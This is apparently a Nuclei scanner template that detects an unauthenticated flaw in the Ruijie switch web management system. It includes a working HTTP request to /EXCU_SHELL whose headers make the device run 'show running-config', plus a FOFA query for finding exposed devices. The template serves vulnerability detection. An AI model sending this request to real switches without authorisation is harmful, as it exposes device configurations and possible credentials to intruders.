id: ruijie-excu-shell

info:
  name: Ruijie Switch Web Management System EXCU_SHELL - Information Disclosure
  author: momika233
  severity: high
  description: |
    Ruijie switch WEB management system is vulnerable to an EXCU_SHELL information disclosure issue, potentially exposing sensitive system information to unauthorized parties.
  reference:
    - https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/unauthorized/%E9%94%90%E6%8D%B7%E4%BA%A4%E6%8D%A2%E6%9C%BAWEB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FEXCU_SHELL
    - https://github.com/ibaiw/2023Hvv/blob/main/%E9%94%90%E6%8D%B7%E4%BA%A4%E6%8D%A2%E6%9C%BA%20WEB%20%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20EXCU_SHELL%20%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="img/free_login_ge.gif" && body="./img/login_bg.gif"
  tags: ruijie,switch,disclosure,misconfig

http:
  - raw:
      - |
        GET /EXCU_SHELL HTTP/1.1
        Host: {{Hostname}}
        Cmdnum: '1'
        Command1: show running-config
        Confirm1: n

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Building configuration"
          - "Current configuration"
        condition: and

      - type: status
        status:
          - 200

# digest: 4b0a004830460221008c7460ee48c5f44e15f8f37f690a3f38a8859a8e96102b55fb81b6128bf294fc02210086a0875e5d9a74a4b40853ca21687ef9a03e4a4c919b952796ab64d4929429f0:922c64590222798bb761d5b6d8e72950